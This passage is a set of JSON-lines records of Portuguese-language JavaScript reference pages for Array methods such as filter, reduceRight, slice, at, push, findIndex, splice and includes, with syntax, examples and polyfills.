(query)\n \\*/\nfunction filterItems(query) {\n  return fruits.filter(function (el) {\n    return el.toLowerCase().indexOf(query.toLowerCase()) > -1;\n  });\n}\n\nconsole.log(filterItems(\"ap\")); // ['apple', 'grapes']\nconsole.log(filterItems(\"an\")); // ['banana', 'mango', 'orange']\n```\n\n### Implementação ES2015\n\n\n```js\nconst fruits = [\"apple\", \"banana\", \"grapes\", \"mango\", \"orange\"];\n\n/\\*\\*\n \\* Array filters items based on search criteria (query)\n \\*/\nconst filterItems = (query) => {\n  return fruits.filter(\n    (el) => el.toLowerCase().indexOf(query.toLowerCase()) > -1,\n  );\n};\n\nconsole.log(filterItems(\"ap\")); // ['apple', 'grapes']\nconsole.log(filterItems(\"an\")); // ['banana', 'mango', 'orange']\n```\n\nPolyfill\n--------\n\n`filter()` foi adicionado ao padrão ECMA-262 na 5ª edição; assim como pode não estar presente em todas as implementações do padrão. Você pode trabalhar com isso adicionando o seguinte código no início de seus scripts, permitindo o uso do `filter()` na implementação ECMA-262 que não tem suporte nativo. Esse algoritmo é exatamente aquele especificado na 5ª edição do ECMA-262, assumindo que `fn.call` veja o valor original de `Function.prototype.call()`, e que `Array.prototype.push()` tenha seu valor original.\n\n\n```js\nif (!Array.prototype.filter) {\n  Array.prototype.filter = function (fun /\\*, thisArg\\*/) {\n    \"use strict\";\n\n    if (this === void 0 || this === null) {\n      throw new TypeError();\n    }\n\n    var t = Object(this);\n    var len = t.length >>> 0;\n    if (typeof fun !== \"function\") {\n      throw new TypeError();\n    }\n\n    var res = [];\n    var thisArg = arguments.length >= 2 ? arguments[1] : void 0;\n    for (var i = 0; i < len; i++) {\n      if (i in t) {\n        var val = t[i];\n\n        // NOTE: Technically this should Object.defineProperty at\n        // the next index, as push can be affected by\n        // properties on Object.prototype and Array.prototype.\n        // But that method's new, and collisions should be\n        // rare, so use the more-compatible alternative.\n        if (fun.call(thisArg, val, i, t)) {\n          res.push(val);\n        }\n      }\n    }\n\n    return res;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.filter |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.forEach()`\n* `Array.prototype.every()`\n* `Array.prototype.some()`\n* `Array.prototype.reduce()`"}
{"title":"Array.prototype.reduceRight() - JavaScript","text":"Array.prototype.reduceRight()\n=============================\n\nSumário\n-------\n\nO método **`reduceRight()`** aplica à uma função um acumulador e cada valor do array (da direita para esquerda) é reduzido para um valor único.\n\nSintaxe\n-------\n```\n\narr.reduceRight(callback[, initialValue])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção para executar em cada valor do array, recebendo quatro argumentos:\n\n`previousValue`\n\nO valor anteriormente retornado na ultima invocação do callback, ou o `initialValue`, se este for o recebido. (Ver abaixo.)\n\n`currentValue`\n\nO valor atualmente sendo processado no array.\n\n`index`\n\nO índice do valor atualmente sendo processado no array.\n\n`array`\n\nO array que foi chamado para ser reduzido.\n\n\n`initialValue`\n\nOpcional. Objeto para ser usado como argumento inicial da primeria chamada do callback.\n\nDescrição\n---------\n\n`reduceRight` executa a função callback uma vez para cada elemento presente no array, excluindo buracos no array, recebendo quatro argumentos: o valor inicial (ou o valor da chamada anterior do callback), o valor do elemento atual, o índice do elemento atual, e o array onde a operação está acontecendo.\n\nA chamada ao callback reduceRight irá parecer com uma chamada assim:\n\n\n```js\narray.reduceRight(function (previousValue, currentValue, index, array) {\n  // ...\n});\n```\n\n\nA primeira vez que a função é chamada, o `previousValue` e o `currentValue` podem ser um de dois valores. Se um `initialValue` foi recebido na chamada do `reduceRight`, então o `previousValue` sera iqual ao `initialValue` e o `currentValue` será igual ao ultimo valor no array. Se o `initialValue` não foi recebido, então o `previousValue` será igual ao ultimo valor no array e o `currentValue` será igual ao penultimo valor no array.\n\nSe o array é vazio e nenhum `initialValue` foi recebido, `TypeError` será lançado. Se o array somente tem um elemento (independentemente da posição dele) e o `initialValue` não foi recebido, ou se o `initialValue` foi recebido mas o array é vazio, o valor em si será retornado sem chamar o `callback`.\n\nAlguns exemplos de execuções da função e como será parecida a chamada:\n\n\n```js\n[0, 1, 2, 3, 4].reduceRight(\n  function (previousValue, currentValue, index, array) {\n    return previousValue + currentValue;\n  },\n);\n```\n\n\nO callback será invocado quatro vezes, com os argumentos e valores de retornos em cada chamada será como o seguinte:\n\n|  | `previousValue` | `currentValue` | `index` | `array` | return value |\n| --- | --- | --- | --- | --- | --- |\n| Primeira chamada | `4` | `3` | `3` | `[0, 1, 2, 3, 4]` | `7` |\n| Segunda chamada | `7` | `2` | `2` | `[0, 1, 2, 3, 4]` | `9` |\n| Terceira chamada | `9` | `1` | `1` | `[0, 1, 2, 3, 4]` | `10` |\n| Quarta chamada | `10` | `0` | `0` | `[0, 1, 2, 3, 4]` | `10` |\n\nO valor retornado pelo `reduceRight` será o valor retornado pela ultima chamada ao callback(`10`).\n\nE se você também passou um `initialValue`, o resultado irá ser como a seguir:\n\n\n```js\n[0, 1, 2, 3, 4].reduceRight(function (\n  previousValue,\n currentValue,\n index,\n array,\n) {\n  return previousValue + currentValue;\n}, 10);\n```\n\n\n|  | `previousValue` | `currentValue` | `index` | `array` | return value |\n| --- | --- | --- | --- | --- | --- |\n| Primeira chamada | `10` | `4` | `4` | `[0, 1, 2, 3, 4]` | `14` |\n| Segunda chamada | `14` | `3` | `3` | `[0, 1, 2, 3, 4]` | `17` |\n| Terceira chamada | `17` | `2` | `2` | `[0, 1, 2, 3, 4]` | `19` |\n| Quarta chamada | `19` | `1` | `1` | `[0, 1, 2, 3, 4]` | `20` |\n| Quinta chamada | `20` | `0` | `0` | `[0, 1, 2, 3, 4]` | `20` |\n\nO valor retornado pelo `reduceRight` desta vez será, obviamente, `20`.\n\nExemplos\n--------\n\n### Exemplo: Somando todos os valores presente em um array\n\n\n```js\nvar total = [0, 1, 2, 3].reduceRight(function (a, b) {\n  return a + b;\n});\n// total == 6\n```\n\n### Exemplo: Juntando um array de arrays\n\n\n```js\nvar flattened = [\n  [0, 1],\n  [2, 3],\n  [4, 5],\n].reduceRight(function (a, b) {\n  return a.concat(b);\n}, []);\n// flattened is [4, 5, 2, 3, 0, 1]\n```\n\nPolyfill\n--------\n\n`reduceRight` foi adicionado no padrão ECMA-262 em sua Quinta edição; sendo assim pode não estar presente em todas as implementações deste padrão. Você pode contornar isso adicionando o seguinte codigo ao inicio do seu script, adicionando a possibilidade de uso do `reduceRight` em implementações que não o suportam nativamente.\n\n\n```js\n// Production steps of ECMA-262, Edition 5, 15.4.4.22\n// Reference: http://es5.github.io/#x15.4.4.22\nif (\"function\" !== typeof Array.prototype.reduceRight) {\n  Array.prototype.reduceRight = function (callback /\\*, initialValue\\*/) {\n    \"use strict\";\n    if (null === this || \"undefined\" === typeof this) {\n      throw new TypeError(\"Array.prototype.reduce called on null or undefined\");\n    }\n    if (\"function\" !== typeof callback) {\n      throw new TypeError(callback + \" is not a function\");\n    }\n    var t = Object(this),\n      len = t.length >>> 0,\n      k = len - 1,\n      value;\n    if (arguments.length >= 2) {\n      value = arguments[1];\n    } else {\n      while (k >= 0 && !(k in t)) {\n        k--;\n      }\n      if (k < 0) {\n        throw new TypeError(\"Reduce of empty array with no initial value\");\n      }\n      value = t[k--];\n    }\n    for (; k >= 0; k--) {\n      if (k in t) {\n        value = callback(value, t[k], k, t);\n      }\n    }\n    return value;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.reduceright |\n\nCompatibilidade com os navegadores\n----------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Array.prototype.reduce()`"}
{"title":"Array.prototype.slice() - JavaScript","text":"Array.prototype.slice()\n=======================\n\nO método **`slice()`** retorna uma cópia de parte de um array a partir de um subarray criado entre as posições `início` e `fim` (fim não é incluído) de um array original. O Array original não é modificado.\n\nExperimente\n-----------\n\nSyntaxe\n-------\n```\n\narr.slice([início[,fim]])\n```\n\n### Parâmetros\n\n`início` Optional\n\nÍndice baseado em zero no qual se inicia a extração.\n\nComo um índice negativo, `início` indica um deslocamento em relação ao fim da sequência. `slice(-2)` extrai os dois últimos elementos do array.\n\nSe `início` for omitido, `slice` inicia a partir do índice `0`.\n\nSe `início` for maior que o comprimento do array, é retornado um array vazio.\n\n`fim` Optional\n\nÍndice baseado em zero o qual é o final da extração. `slice` extrai até, não incluindo, `fim`.\n\n`slice(1,4)` extrai do segundo até o quarto elemento (elementos de índice 1, 2 e 3).\n\nComo índice negativo, `fim` indica um deslocamento em relação ao fim do array. `slice(2,-1)` extrai o terceiro elemento através do segundo-para-o-último elemento no array.\n\nSe `fim` for omitido ou for maior que o tamanho do array, `slice` considerará o último elemento do array como sendo o `fim` (`arr.length`).\n\n### Valor de retorno\n\nUm novo array contendo os elementos extraídos.\n\nDescrição\n---------\n\n`slice` não altera o array original. Retorna uma cópia de elementos do array original. Elementos do array original são copiados para o array retornado da seguinte maneira:\n\n* Para referências de objeto (e não o objeto real), `slice` copia referencias de objeto em um novo array. Ambos, o original e o novo array referem-se ao mesmo objeto. Se um objeto referenciado é alterado, as alterações são visiveis em ambos, no novo array e no array original.\n* Para strings e números (não objetos `String` e `Number`), `slice` copia strings e números em um novo array. Alterações na string ou número em um array não afetam o outro array.\n\nSe um novo elemento é adicionado a qualquer array, o outro não é afetado.\n\nExemplos\n--------\n\n### Retorna uma parte de um array existente\n\n\n```js\n// Exemplo para extrair 'Laranja' e 'Limao' do array frutas\nvar frutas = [\"Banana\", \"Laranja\", \"Limao\", \"Maçã\", \"Manga\"];\nvar citricos = frutas.slice(1, 3);\n\n// citricos contem ['Laranja','Limao']\n```\n\n### Usando `slice`\n\nNo exemplo seguinte, `slice` cria um novo array, `novoCarro`, do original `meuCarro`. Ambos incluem uma referência ao objeto, `meuHonda`. Quando a cor de `meuHonda` é alterada para roxo, ambos os arrays sofrem alteração.\n\n\n```js\n// Usando slice para criar novoCarro a partir de meuCarro.\nvar meuHonda = {\n  cor: \"vermelho\",\n  rodas: 4,\n  motor: { cilindros: 4, tamanho: 2.2 },\n};\nvar meuCarro = [meuHonda, 2, \"perfeitas condições\", \"comprado em 1997\"];\nvar novoCarro = meuCarro.slice(0, 2);\n\n// Exibe os valores de meuCarro, novoCarro, e a cor de meuHonda\n// referenciado de ambos arrays.\nconsole.log(\"meuCarro = \" + meuCarro.toSource());\nconsole.log(\"novoCarro = \" + novoCarro.toSource());\nconsole.log(\"meuCarro[0].cor = \" + meuCarro[0].cor);\nconsole.log(\"novoCarro[0].cor = \" + novoCarro[0].cor);\n\n// Altera a cor de meuHonda.\nmeuHonda.cor = \"roxo\";\nconsole.log(\"A nova cor do meu Honda é \" + meuHonda.cor);\n\n// Exibe a cor de meuHonda referenciado de ambos arrays.\nconsole.log(\"meuCarro[0].cor = \" + meuCarro[0].cor);\nconsole.log(\"novoCarro[0].cor = \" + novoCarro[0].cor);\n```\n\n\nEsse script escreve:\n\n\n```js\nmeuCarro = [{cor:'vermelho', rodas:4, motor:{cilindros:4, tamanho:2.2}}, 2,'perfeitas condições', 'comprado em 1997']\nnovoCarro = [{cor:'vermelho', rodas:4, motor:{cilindros:4, tamanho:2.2}},2]\nmeuCarro[0].cor = vermelho\nnovoCarro[0].cor = vermelho\nA nova cor do meu Honda é roxo\nmeuCarro[0].cor = roxo\nnovoCarro[0].cor = roxo\n```\n\nObjetos Array-like\n------------------\n\nO método `slice` pode também ser chamado para converter objetos ou coleções Array-like em um novo Array. Você só precisa encadear o método no Array. Os `arguments` dentro de uma função são um exemplo de 'objeto array-like'.\n\n\n```js\nfunction list() {\n  return Array.prototype.slice.call(arguments);\n}\n\nvar list1 = list(1, 2, 3); // [1, 2, 3]\n```\n\n\nLigações podem ser feitas com a função .`call` de `Function.prototype` (en-US) and it can also be reduced using `[].slice.call(arguments)` ao invés de `Array.prototype.slice.call`. De qualquer forma, ela pode ser simplificada com `bind`.\n\n\n```js\nvar unboundSlice = Array.prototype.slice;\nvar slice = Function.prototype.call.bind(unboundSlice);\n\nfunction list() {\n  return slice(arguments);\n}\n\nvar list1 = list(1, 2, 3); // [1, 2, 3]\n```\n\nSimplificando o comportamento entre navegadores\n-----------------------------------------------\n\nEmbora os objetos de host (como objetos DOM) não sejam obrigados pela especificação a seguir o comportamento do Mozilla quando convertidos por Array.prototype.slice e IE <9 não o fazem, versões do IE começando pela versão 9 permitem isso. \"Shimming\" pode permitir um comportamento confiável entre navegadores. Enquanto outros navegadores modernos continuem suportando essa habilidade, como atualmente IE, Mozilla, Chrome, Safari, e Opera fazem, desenvolvedores lendo (DOM-supporting) o código slice confiando neste shim não serão desencaminhados pela semântica; eles podem confiar seguramente na semântica para fornecer o agora aparentemente comportamento padrão de fato. (Isso também corrige o problema com IE < 9 onde o segundo argumento do `slice` era explicitamente `null`/`undefined`)\n\n\n```js\n(function () {\n  \"use strict\";\n  var _slice = Array.prototype.slice;\n\n  try {\n    // Produzirá erro no IE < 9\n    \\_slice.call(document.documentElement);\n  } catch (e) {\n    // Funciona para arrays, objetos array-like,\n    // NamedNodeMap (atributos, entidades, notações),\n    // NodeList (por exemplo, getElementsByTagName), HTMLCollection (por exemplo, childNodes),\n    // e não vai falhar em outros objetos do DOM (como falham no IE < 9)\n    Array.prototype.slice = function (begin, end) {\n      end = typeof end !== \"undefined\" ? end : this.length;\n\n      // Para arrays, chamamos o método nativo\n      if (Object.prototype.toString.call(this) === \"[object Array]\") {\n        return \\_slice.call(this, begin, end);\n      }\n\n      // Para array-like, o processo é manual.\n      var i,\n        cloned = [],\n        size,\n        len = this.length;\n\n      // Lidando com valor negativo para \"begin\"\n      var start = begin || 0;\n      start = start >= 0 ? start : Math.max(0, len + start);\n\n      // Lidando com valor negativo para \"end\"\n      var upTo = typeof end == \"number\" ? Math.min(end, len) : len;\n      if (end < 0) {\n        upTo = len + end;\n      }\n\n      // Tamanho real do corte feito pelo slice\n      size = upTo - start;\n\n      if (size > 0) {\n        cloned = new Array(size);\n        if (this.charAt) {\n          for (i = 0; i < size; i++) {\n            cloned[i] = this.charAt(start + i);\n          }\n        } else {\n          for (i = 0; i < size; i++) {\n            cloned[i] = this[start + i];\n          }\n        }\n      }\n\n      return cloned;\n    };\n  }\n})();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.slice |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function.prototype.call()`\n* `Function.prototype.bind()`\n* `Array.prototype.splice()`"}
{"title":"Array.prototype.at() - JavaScript","text":"Array.prototype.at()\n====================\n\nBaseline 2022\n-------------\n\nNewly availableSince March 2022, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO método **`at()`** recebe um valor inteiro e retorna o item referente ao index dele, permitindo valores positivos ou negativos. Valores negativos contam apartir do último item do array.\n\nIsto não quer dizer que exista alguma coisa errada em utilizar a notação com colchetes. Por exemplo `array[0]` retornaria o primeiro item. Porém ao invés de utilizar o `array.length` para os últimos items; e.g `array[array.length-1]` para o último item, você pode utilizar o `array.at(-1)`. (Veja os exemplos abaixo)\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nat(index);\n```\n\n### Parâmetros\n\n`index`\n\nO index (posição) do elemento do array que será retornado. Quando um valor negativo é passado como argumento a contagem dos elementos é feita de trás para frente.\n\n### Valor retornado\n\nO elemento correspondente ao index passado como argumento. Retorna `undefined` se o index passado não for encontrado.\n\nExemplos\n--------\n\n### Retornando o último item de um array\n\nO exemplo a seguir exibe uma função que retorna o último elemento encontrado de um array específico.\n\n\n```js\n// O array com items\nconst cart = [\"apple\", \"banana\", \"pear\"];\n\n// A função que retorna o último item do array passado como argumento\nfunction returnLast(arr) {\n  return arr.at(-1);\n}\n\n// Pega o último item do array 'cart'\nconst item1 = returnLast(cart);\nconsole.log(item1); // 'pear'\n\n// Adiciona um item ao array 'cart'\ncart.push(\"orange\");\nconst item2 = returnLast(cart);\nconsole.log(item2); // 'orange'\n```\n\n### Comparando métodos\n\n Este exemplo compara a diferentes maneiras de selecionar o penúltimo item de um `Array`.\n Todos os métodos abaixos são válidos, mas este exemplo destaca a sucintez e legibilidade do método `at()`.\n\n\n```js\n// O array com items\nconst colors = [\"red\", \"green\", \"blue\"];\n\n// Usando a propriedade length\nconst lengthWay = colors[colors.length - 2];\nconsole.log(lengthWay); // 'green'\n\n// Usando o método slice(). Perceba que um array é retornado\nconst sliceWay = colors.slice(-2, -1);\nconsole.log(sliceWay[0]); // 'green'\n\n// Usando o método at()\nconst atWay = colors.at(-2);\nconsole.log(atWay); // 'green'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.at |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Um polyfill do método `Array.prototype.at` está disponível em `core-js`\n* Um polyfill para o método at().\n* `Array.prototype.find()` – retorna um valor baseado no teste fornecido.\n* `Array.prototype.includes()` – verifica se um valor existe em um array.\n* `Array.prototype.indexOf()` – retorna o index de um determinado elemento."}
{"title":"Array.prototype.values() - JavaScript","text":"Array.prototype.values()\n========================\n\nO método **`values()`** retorna um novo objeto de **`Array Iterator`** que contém os valores para cada índice no array.\n\nSintaxe\n-------\n```\n\narr.values()\n```\n\nExemplos\n--------\n\n### Iteração usando `for...of` loop\n\n\n```js\nvar arr = [\"w\", \"y\", \"k\", \"o\", \"p\"];\nvar eArr = arr.values();\n// seu navegador deve suportar for..of loop\n// e deixar variáveis let-scoped no for loops\nfor (let letter of eArr) {\n  console.log(letter);\n}\n```\n\n### Iteração alternativa\n\n\n```js\nvar arr = [\"w\", \"y\", \"k\", \"o\", \"p\"];\nvar eArr = arr.values();\nconsole.log(eArr.next().value); // w\nconsole.log(eArr.next().value); // y\nconsole.log(eArr.next().value); // k\nconsole.log(eArr.next().value); // o\nconsole.log(eArr.next().value); // p\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas do Firefox\n----------------------------\n\n* Devido a um problema de compatibilidade, `Array.prototype.values()` foi removido do SpiderMonkey por enquanto.\nVer também\n----------\n\n* `Array.prototype.keys()`\n* `Array.prototype.entries()`\n* `Array.prototype.forEach()`\n* `Array.prototype.every()`\n* `Array.prototype.some()`"}
{"title":"Array.prototype.push() - JavaScript","text":"Array.prototype.push()\n======================\n\nResumo\n------\n\nO método **push()** adiciona um ou mais elementos ao final de um array e retorna o novo comprimento desse array.\n\n\n```js\nvar numeros = [1, 2, 3];\nnumeros.push(4);\n\nconsole.log(numeros); // [1, 2, 3, 4]\n\nnumeros.push(5, 6, 7);\n\nconsole.log(numeros); // [1, 2, 3, 4, 5, 6, 7]\n```\n\nSintaxe\n-------\n\n\n```js\narr.push(elemento1, ..., elementoN)\n```\n\n### Parâmetros\n\n`elementoN`\n\nOs elementos a serem incluídos ao final do array.\n\n### Retorno\n\nO novo valor da propriedade `length` do objeto no qual o método foi chamado.\n\nDescrição\n---------\n\nO método `push` adiciona valores a um array.\n\nEsse método é intencionalmente genérico. Podendo ser utilizado por `call()` ou `apply()` em objetos que implementam arrays. O método push depende da propriedade length para determinar onde começar a inserir os valores. Caso a propriedade `length` não possa ser convertida em número, é utilizado 0 como índice. Isto inclui a possibilidade de `length` não existir, nesse caso, essa propriedade será criada.\n\nOs únicos objetos que implementam nativamente array são as strings, porém elas não são adequadas para a aplicação desse método, pois são imutáveis.\n\nExemplos\n--------\n\n### Exemplo: Adicionando elementos a um array\n\nO seguinte código cria um array `esportes` que contém dois elementos. Então adiciona dois elementos a ele. A variável `total` contém o novo comprimento do array.\n\n\n```js\nvar esportes = [\"futebol\", \"beisebol\"];\nvar total = esportes.push(\"handebol\", \"natacao\");\n\nconsole.log(esportes); // ['futebol, 'beisebol', 'handebol', 'natacao']\nconsole.log(total); // 4\n```\n\n### Exemplo: Fusão de dois arrays\n\nEste exemplo utiliza `apply()` para adicionar todos os elementos de um segundo array.\n\n\n```js\nvar vegetais = [\"cenoura\", \"batata\"];\nvar maisVegetais = [\"aipo\", \"beterraba\"];\n\n// Adiciona o segundo array no primeiro\n// Equivalente a vegetais.push('aipo', 'beterraba');\nArray.prototype.push.apply(vegetais, maisVegetais);\n\nconsole.log(vegetais); // ['cenoura', 'batata', 'aipo', 'beterraba']\n```\n\n### Exemplo: Utilizando um object como um array-like\n\nComo mencionado acima, `push` é intencionalmente genérico, e podemos usar isso para nossa vantagem. `Array.prototype.push` pode trabalhar em um objeto muito bem, como mostra este exemplo. Observe que não criamos um array para armazenar uma coleção de objetos. Em vez disso, armazenamos a coleção no objeto em si e usamos a chamada em `Array.prototype.push` para enganar o método e pensar que estamos lidando com um array, e ele simplesmente funciona, graças à forma como o JavaScript nos permite estabelecer o contexto de execução quando queremos.\n\n\n```js\nvar obj = {\n  length: 0,\n\n  addElem: function addElem(elem) {\n    // obj.length é automaticamente incrementado\n    // toda vez que um elemento for adicionado.\n    [].push.call(this, elem);\n  },\n};\n\n// Vamos adicionar alguns objetos vazios apenas para ilustrar.\nobj.addElem({});\nobj.addElem({});\nconsole.log(obj.length);\n// → 2\n```\n\n\nObserve que, embora `obj` não seja um array, o método `push` aumentou com sucesso a propriedade de comprimento (`length`) do `obj` como se estivéssemos lidando com um array.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.push |\n\nCompatibilidade em navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.pop()`\n* `Array.prototype.shift()`\n* `Array.prototype.unshift()`\n* `Array.prototype.concat()`"}
{"title":"Array.prototype.findIndex() - JavaScript","text":"Array.prototype.findIndex()\n===========================\n\nO método **`findIndex()`** retorna o **índice** no array do primeiro elemento que satisfizer a função de teste provida. Caso contrário, retorna -1, indicando que nenhum elemento passou no teste.\n\nVeja também o método `find()`, que retorna o **valor** de um elemento encontrado no array em vez de seu índice.\n\nSintaxe\n-------\n```\n\narr.findIndex(callback[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção para executar em cada valor no array, tomando três argumentos:\n\n`element`\n\nO elemento atual sendo processado no array.\n\n`index`\n\nO índice do elemento atual sendo processado no array.\n\n`array`\n\nO array sobre o qual `findIndex` foi chamado.\n\n\n`thisArg`\n\nOpcional. Objeto para usar como `this` na execução do `callback`.\n\nDescrição\n---------\n\nO método `findIndex` executa a função `callback` uma vez para cada elemento presente no array até encontrar um onde o `callback` retorna um valor verdadeiro. Se tal elemento for encontrado, `findIndex` imediatamente retorna o índice deste elemento. Caso contrário, `findIndex` retorna -1. `callback` é invocado apenas para índices no array que têm valores atribuídos; nunca é invocado para índices que foram deletados ou que nunca tiveram valores atribuídos.\n\n`callback` é invocado com três argumentos: o valor do elemento, o índice do elemento e o objeto Array sendo percorrido.\n\nSe um parâmetro `thisArg` for fornecido para `findIndex`, ele será usado como o `this` para cada invocação do `callback`. Se não for fornecido, então `undefined` é usado.\n\n`findIndex` não modifica o array sobre o qual é chamado.\n\nA série de elementos processados por `findIndex` é definida antes da primeira invocação do `callback`. Elementos que são adicionados ao array depois que a chamada a `findIndex` começa não serão visitados pelo `callback`. Se um elemento existente não visitado do array for modificado pelo `callback`, seu valor passado ao `callback` será o valor no momento em que `findIndex` visitar o índice deste elemento; elementos que forem deletados não são visitados.\n\nExemplos\n--------\n\n### Encontrar o índice de um número primo em um array\n\nO seguinte exemplo encontra o índice de um elemento no array que é um número primo (ou retorna -1 se não houver número primo).\n\n\n```js\nfunction isPrime(element, index, array) {\n  var start = 2;\n  while (start <= Math.sqrt(element)) {\n    if (element % start++ < 1) {\n      return false;\n    }\n  }\n  return element > 1;\n}\n\nconsole.log([4, 6, 8, 12].findIndex(isPrime)); // -1, não encontrado\nconsole.log([4, 6, 7, 12].findIndex(isPrime)); // 2\n```\n\nPolyfill\n--------\n\nEsse método foi adicionado à especificação do ECMAScript 6 e pode não estar disponível em todas as implementações de JavaScript ainda. Contudo, você pode fazer o polyfill de `Array.prototype.findIndex` com o seguinte trecho de código:\n\n\n```js\nif (!Array.prototype.findIndex) {\n  Array.prototype.findIndex = function (predicate) {\n    if (this === null) {\n      throw new TypeError(\n        \"Array.prototype.findIndex called on null or undefined\",\n      );\n    }\n    if (typeof predicate !== \"function\") {\n      throw new TypeError(\"predicate must be a function\");\n    }\n    var list = Object(this);\n    var length = list.length >>> 0;\n    var thisArg = arguments[1];\n    var value;\n\n    for (var i = 0; i < length; i++) {\n      value = list[i];\n      if (predicate.call(thisArg, value, i, list)) {\n        return i;\n      }\n    }\n    return -1;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.findindex |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n* `Array.prototype.find()`\n* `Array.prototype.indexOf()`"}
{"title":"Array.prototype.splice() - JavaScript","text":"Array.prototype.splice()\n========================\n\nResumo\n------\n\nO método **splice()** altera o conteúdo de uma lista, adicionando novos elementos enquanto remove elementos antigos.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narray.splice(indice[, deleteCount[, elemento1[, ...[, elementoN]]])\n\narray.splice(indice) // SpiderMonkey/Firefox extension\n```\n\n### Parâmetros\n\n`indice`\n\nÍndice o qual deve iniciar a alterar a lista. Se maior que o tamanho total da mesma, nenhum elemento será alterado. Se negativo, irá iniciar a partir daquele número de elementos a partir do fim.\n\n`deleteCount`\n\nUm inteiro indicando o número de antigos elementos que devem ser removidos.\n\nSe o parâmetro `deleteCount` não é especificado, ou se é maior que o número de elementos restantes na lista iniciando pelo índice, então todos os elementos até o fim da lista serão deletados.\n\nSe `deleteCount` é 0, nenhum elemento é removido. Neste caso você deve especificar pelo menos um novo elemento.\n\n`elemento1, ..., elementoN`\n\nOs elementos a adicionar na lista. Se você não especificar nenhum elemento, splice simplesmente removerá elementos da mesma.\n\n### Retorno\n\nUma lista contendo os elementos removidos. Se apenas um elemento é removido, por exemplo, uma lista contendo apenas um elemento é retornada. Se nenhum elemento é removido, uma lista vazia é retornada.\n\nDescrição\n---------\n\nSe você especificar um número diferente de elementos a inserir comparado ao número de elementos que você está removendo, a lista terá um tamanho diferente no final da execução.\n\nExemplo\n-------\n\n### Exemplo: Removendo 0 elementos do indice 2, e inserindo \"drum\"\n\nO script a seguir ilustra o uso do *splice*:\n\n\n```js\nvar myFish = [\"angel\", \"clown\", \"mandarin\", \"surgeon\"];\n\n//remove 0 elementos a partir do índice 2, e insere \"drum\"\nvar removed = myFish.splice(2, 0, \"drum\");\n//myFish é [\"angel\", \"clown\", \"drum\", \"mandarin\", \"surgeon\"]\n//removed é [], nenhum elemento removido\n\n//remove 1 elemento do índice 3\nremoved = myFish.splice(3, 1);\n//myFish é [\"angel\", \"clown\", \"drum\", \"surgeon\"]\n//removed é [\"mandarim\"]\n\n//remove 1 elemento a partir do índice 2, e insere \"trumpet\"\nremoved = myFish.splice(2, 1, \"trumpet\");\n//myFish é [\"angel\", \"clown\", \"trumpet\", \"surgeon\"]\n//removed é [\"drum\"]\n\n//remove 2 elementos a partir do índice 0, e insere \"parrot\", \"anemone\" e \"blue\"\nremoved = myFish.splice(0, 2, \"parrot\", \"anemone\", \"blue\");\n//myFish é [\"parrot\", \"anemone\", \"blue\", \"trumpet\", \"surgeon\"]\n//removed é [\"angel\", \"clown\"]\n\n//remove 2 elementos a partir do indice 3\nremoved = myFish.splice(3, Number.MAX\\_VALUE);\n//myFish é [\"parrot\", \"anemone\", \"blue\"]\n//removed é [\"trumpet\", \"surgeon\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.splice |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `push` / `pop` - adiciona/remove elementos do final do array;\n* `unshift` / `shift` - adiciona/remove elementos do início do array;\n* `concat` - returns a new array comprised of this array joined with other array(s) and/or value(s)."}
{"title":"Array.prototype.includes() - JavaScript","text":"Array.prototype.includes()\n==========================\n\nSumário\n-------\n\nO método `includes()` determina se um array contém um determinado elemento, retornando `true` ou `false` apropriadamente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\narray.includes(searchElement[, fromIndex])\n```\n\n### Parâmetros\n\n`searchElement`\n\nO elemento a buscar\n\n`fromIndex`\n\nOpcional. A posição no array de onde a busca pelo `searchElement` se iniciará. Por padrão, 0.\n\nExemplos\n--------\n\n\n```js\n[1, 2, 3].includes(2); // true\n[1, 2, 3].includes(4); // false\n[1, 2, 3].includes(3, 3); // false\n[1, 2, 3].includes(3, -1); // true\n[1, 2, NaN].includes(NaN); // true\n```\n\nPolyfill\n--------\n\n\n```js\n// https://tc39.github.io/ecma262/#sec-array.prototype.includes\nif (!Array.prototype.includes) {\n  Object.defineProperty(Array.prototype, \"includes\", {\n    value: function (searchElement, fromIndex) {\n      // 1. Let O be ? ToObject(this value).\n      if (this == null) 